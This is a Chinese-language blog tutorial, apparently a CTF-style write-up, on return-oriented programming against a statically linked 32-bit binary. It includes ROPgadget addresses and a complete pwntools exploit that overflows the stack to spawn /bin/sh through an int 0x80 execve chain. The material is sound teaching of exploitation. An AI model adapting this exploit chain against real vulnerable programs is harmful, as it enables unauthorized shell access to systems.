ROP静态链接


ROP静态链接


ROP简介

​ 当很多时候利用后门函数和.bss行不通的时候,ROP(Return Oriented Programming)是最常用的一个攻击手段。在ELF程序运行时,它会利用很多本地文件(动态链接库来完成程序),比如在c/c++文件时用#include<stdio.h>和#include时,就是利用了动态链接库来完成write,scanf,printf……

​ 在Linux中我们可以用lld指令来查看所使用的软链接,本地文件在**/lib/x86_64-linux-gnu/libc-2.31.so**目录下,可以把它拖入IDAPRO中查看具体函数。

​ 在X86中利用硬件的方式一般是用中段的方式来执行,赋予ax,bx,cx,dx指令并且用int 0X80来进行系统调用,很多时候我们无法获取后门函数或者利用.bss来劫持程序,我们可以利用text中的零碎的X86(AT&T)来实现中断。


攻击背景

​ 我们可以看到没有任何getshell的函数与写入.bss的机会,我们利用ROP来实现看看。


攻击步骤

​ 我们可以看到没有canary保护,我们利用垃圾填充与栈溢出进行攻击,看一下我们目标填充内容:

mov eax, 0xb
mov ebx, [“/bin/sh”] 
mov ecx, 0
mov edx, 0
int 0x80
=> execve("/bin/sh",NULL,NULL)

​ 我们可以利用ROPgadget工具查看内存位置进行筛选,我们选用以下地址:

0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
.rodata:080BE408 aBinSh db ‘/bin/sh’,0
0x08049421 : int 0x80


构造payload

​ 先看下ebx距离是0X6C,然后我们根据栈的利用方式来进行构造在pop和ret之间进行穿梭,构造payload:

from pwn import *
io = process("./ret2syscall")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int0x80 = 0x08049421
bin_sh = 0x080BE408
payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int0x80])
io.recvline()
io.sendline(payload)
io.interactive()


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录